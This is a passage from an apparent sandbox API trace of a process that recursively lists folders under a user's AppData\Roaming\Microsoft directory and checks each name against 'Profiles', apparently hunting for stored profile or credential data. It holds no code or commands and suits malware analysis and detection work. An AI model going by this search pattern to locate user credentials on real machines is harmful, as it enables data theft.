"c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\crypto\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.168] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.168] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 1 [0266.168] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.168] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="RSA", cAlternateFileName="")) returned 1 [0266.168] lstrcmpW (lpString1="RSA", lpString2="Profiles") returned 1 [0266.168] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto") returned 51 [0266.168] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="RSA", cAlternateFileName="")) returned 0 [0266.168] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.168] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1 [0266.168] lstrcmpW (lpString1="Document Building Blocks", lpString2="Profiles") returned -1 [0266.168] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.168] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\document building blocks\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.169] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.169] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 1 [0266.169] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.169] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="1033", cAlternateFileName="")) returned 1 [0266.169] lstrcmpW (lpString1="1033", lpString2="Profiles") returned -1 [0266.169] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned 69 [0266.169] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="1033", cAlternateFileName="")) returned 0 [0266.169] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.169] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="Excel", cAlternateFileName="")) returned 1 [0266.169] lstrcmpW (lpString1="Excel", lpString2="Profiles") returned -1 [0266.169] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.169] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\excel\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.169] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.169] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 1 [0266.170] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.170] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="XLSTART", cAlternateFileName="")) returned 1 [0266.170] lstrcmpW (lpString1="XLSTART", lpString2="Profiles") returned 1 [0266.170] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Excel") returned 50 [0266.170] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d9c50, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3d9c50, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3d9c50, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="XLSTART", cAlternateFileName="")) returned 0 [0266.170] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.170] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795fff90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0266.170] lstrcmpW (lpString1="Internet Explorer", lpString2="Profiles") returned -1 [0266.170] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.170] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\internet explorer\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795fff90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.170] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.170] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x795fff90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 1 [0266.170] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.170] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d24b360, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1 [0266.170] lstrcmpW (lpString1="Quick Launch", lpString2="Profiles") returned 1 [0266.170] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned 62 [0266.170] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795fff90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4d24b360, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4d24b360, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 0 [0266.171] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.171] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="Network", cAlternateFileName="")) returned 1 [0266.171] lstrcmpW (lpString1="Network", lpString2="Profiles") returned -1 [0266.171] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.171] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\network\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.171] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.171] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 1 [0266.171] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.171] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0266.171] lstrcmpW (lpString1="Connections", lpString2="Profiles") returned -1 [0266.171] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network") returned 52 [0266.171] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 0 [0266.171] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.171] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28666ef0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b32ecd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b32ecd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="Office", cAlternateFileName="")) returned 1 [0266.172] lstrcmpW (lpString1="Office", lpString2="Profiles") returned -1 [0266.172] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.172] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\office\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28666ef0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b32ecd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b32ecd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.172] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.172] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28666ef0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b32ecd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b32ecd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 1 [0266.172] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.172] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2868d050, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2868d050, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2868d050, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x9362, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="MSO1033.acl", cAlternateFileName="")) returned 1 [0266.172] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2b32ecd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b413510, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b413510, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Recent", cAlternateFileName="")) returned 1 [0266.172] lstrcmpW (lpString1="Recent", lpString2="Profiles") returned 1 [0266.172] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office") returned 51 [0266.172] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2b32ecd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b413510, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b413510, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Recent", cAlternateFileName="")) returned 0 [0266.172] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.172] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x500531d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x5b267fb0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="Outlook", cAlternateFileName="")) returned 1 [0266.172] lstrcmpW (lpString1="Outlook", lpString2="Profiles") returned -1 [0266.172] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.172] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Outlook\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\outlook\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x500531d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x5b267fb0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.173] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.173] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x500531d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x5b267fb0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="..", cAlternateFileName="")) returned 1 [0266.173] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.173] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53aa4cd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x53aa4cd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3a502870, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Outlook.srs", cAlternateFileName="")) returned 1 [0266.173] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b267fb0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3a907d30, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x93e, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Outlook.xml", cAlternateFileName="")) returned 1 [0266.173] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b267fb0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x5b267fb0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3a907d30, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x93e, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName="Outlook.xml", cAlternateFileName="")) returned 0 [0266.173] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.173] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f260 | out: lpFindFileData=0x24f260*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ef5a0, dwReserved1=0x20, cFileName="Proof", cAlternateFileName="")) returned 1 [0266.173] lstrcmpW (lpString1="Proof", lpString2="Profiles") returned 1 [0266.173] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0266.173] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Proof\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\proof\\*"), lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.174] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.174] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24ede8 | out: lpFindFileData=0x24ede8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42694660, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x42694660, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x42694660, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6900c4, dwReserved1=0x6c0490, 